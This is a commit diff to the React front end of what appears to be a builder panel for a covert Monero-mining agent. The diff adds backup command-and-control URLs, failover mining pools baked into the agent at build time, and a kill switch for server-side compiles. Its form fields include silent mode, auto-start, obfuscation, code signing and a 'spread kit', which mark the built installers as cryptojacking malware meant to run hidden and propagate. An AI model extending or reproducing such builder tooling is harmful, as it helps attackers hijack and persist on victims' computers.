fix: activate 4 DEAD audit items - cancel token, backup pools UI, payment_id to Stratum, remove minimize_to_tray
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
||||
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||
@@ -84,6 +84,8 @@ export default function BuilderPage() {
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
// Set to true to request cancellation between batch iterations
|
||||
const batchCancelRef = useRef(false);
|
||||
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
|
||||
const cancelTokenRef = useRef<string>('');
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
@@ -233,9 +235,11 @@ export default function BuilderPage() {
|
||||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||||
return;
|
||||
}
|
||||
const reforgeToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = reforgeToken;
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(merged, fusionPrepFile);
|
||||
const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
|
||||
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||
await finishForgeSuccess(result);
|
||||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||||
@@ -312,8 +316,23 @@ export default function BuilderPage() {
|
||||
});
|
||||
};
|
||||
|
||||
// Kill the current server-side compile via the cancel API, then stop the batch loop.
|
||||
const handleKillBuild = useCallback(async () => {
|
||||
const tok = cancelTokenRef.current;
|
||||
if (tok) {
|
||||
try { await api.cancelBuild(tok); } catch { /* ignore */ }
|
||||
}
|
||||
batchCancelRef.current = true;
|
||||
setBuilding(false);
|
||||
}, []);
|
||||
|
||||
const handleBatchCancel = () => {
|
||||
batchCancelRef.current = true;
|
||||
// Also kill the currently-running server compile
|
||||
const tok = cancelTokenRef.current;
|
||||
if (tok) {
|
||||
api.cancelBuild(tok).catch(() => {});
|
||||
}
|
||||
};
|
||||
|
||||
const handleBatchForge = async () => {
|
||||
@@ -366,7 +385,10 @@ export default function BuilderPage() {
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
}
|
||||
const result = await api.buildAgent(req, file);
|
||||
const batchToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = batchToken;
|
||||
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
|
||||
cancelTokenRef.current = '';
|
||||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
@@ -441,16 +463,21 @@ export default function BuilderPage() {
|
||||
return;
|
||||
}
|
||||
|
||||
const cancelToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = cancelToken;
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(normalized, fusionPrepFile);
|
||||
const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
await finishForgeSuccess(result);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Build failed');
|
||||
if (err.message !== 'build cancelled') {
|
||||
setError(err.message || 'Build failed');
|
||||
}
|
||||
} finally {
|
||||
cancelTokenRef.current = '';
|
||||
setBuilding(false);
|
||||
}
|
||||
};
|
||||
@@ -812,6 +839,43 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* ── Backup server URLs (advanced) ───────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-group">
|
||||
<label className="label">
|
||||
Backup C2 URLs
|
||||
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||||
(tried in order if the primary is unreachable)
|
||||
</span>
|
||||
</label>
|
||||
{(form.backup_server_urls ?? []).map((url, i) => (
|
||||
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="http://192.168.x.x:8989"
|
||||
value={url}
|
||||
onChange={(e) => {
|
||||
const urls = [...(form.backup_server_urls ?? [])];
|
||||
urls[i] = e.target.value;
|
||||
updateField('backup_server_urls', urls);
|
||||
}}
|
||||
/>
|
||||
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||||
onClick={() => {
|
||||
const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
|
||||
updateField('backup_server_urls', urls);
|
||||
}}>✕</button>
|
||||
</div>
|
||||
))}
|
||||
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||||
onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
|
||||
+ Add backup URL
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
@@ -1004,6 +1068,65 @@ export default function BuilderPage() {
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||
</div>
|
||||
|
||||
{/* ── Backup pools (advanced) ──────────────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-group">
|
||||
<label className="label">
|
||||
Backup Pools
|
||||
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||||
(failover if the primary pool is unreachable)
|
||||
</span>
|
||||
</label>
|
||||
{(form.backup_pools ?? []).map((bp, i) => (
|
||||
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="pool.supportxmr.com"
|
||||
style={{ flex: '3 1 140px' }}
|
||||
value={bp.host}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], host: e.target.value };
|
||||
updateField('backup_pools', pools);
|
||||
}}
|
||||
/>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
placeholder="3333"
|
||||
style={{ flex: '1 1 70px' }}
|
||||
min={1} max={65535}
|
||||
value={bp.port || ''}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
|
||||
updateField('backup_pools', pools);
|
||||
}}
|
||||
/>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
|
||||
<input type="checkbox" checked={!!bp.tls}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], tls: e.target.checked };
|
||||
updateField('backup_pools', pools);
|
||||
}} />
|
||||
TLS
|
||||
</label>
|
||||
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||||
onClick={() => {
|
||||
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
|
||||
updateField('backup_pools', pools);
|
||||
}}>✕</button>
|
||||
</div>
|
||||
))}
|
||||
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||||
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
|
||||
+ Add backup pool
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
@@ -1758,9 +1881,16 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||||
</button>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||||
</button>
|
||||
{building && !batchJob && (
|
||||
<button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
|
||||
✕ Kill Build
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{!canForge && errorCount > 0 && (
|
||||
<p className="forge-forge-blocked">
|
||||
Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
|
||||
|
||||
@@ -169,7 +169,6 @@ export interface BackgroundConfig {
|
||||
silent_mode: boolean;
|
||||
run_as: string;
|
||||
auto_start: boolean;
|
||||
minimize_to_tray: boolean;
|
||||
}
|
||||
|
||||
export interface AlertsConfig {
|
||||
@@ -284,6 +283,21 @@ export interface BuildRequest {
|
||||
spread_kit?: boolean;
|
||||
obfuscate?: boolean;
|
||||
sign_build?: boolean;
|
||||
// Cancel token — set by the client before forging. Pass the same value to
|
||||
// DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
|
||||
cancel_token?: string;
|
||||
// Backup pools tried in order if the primary pool is unreachable.
|
||||
backup_pools?: BackupPool[];
|
||||
// Backup C2 server URLs tried if the primary server_url is unreachable.
|
||||
backup_server_urls?: string[];
|
||||
}
|
||||
|
||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||
export interface BackupPool {
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
pass?: string;
|
||||
}
|
||||
|
||||
export interface FusionEstimate {
|
||||
|
||||
Reference in New Issue
Block a user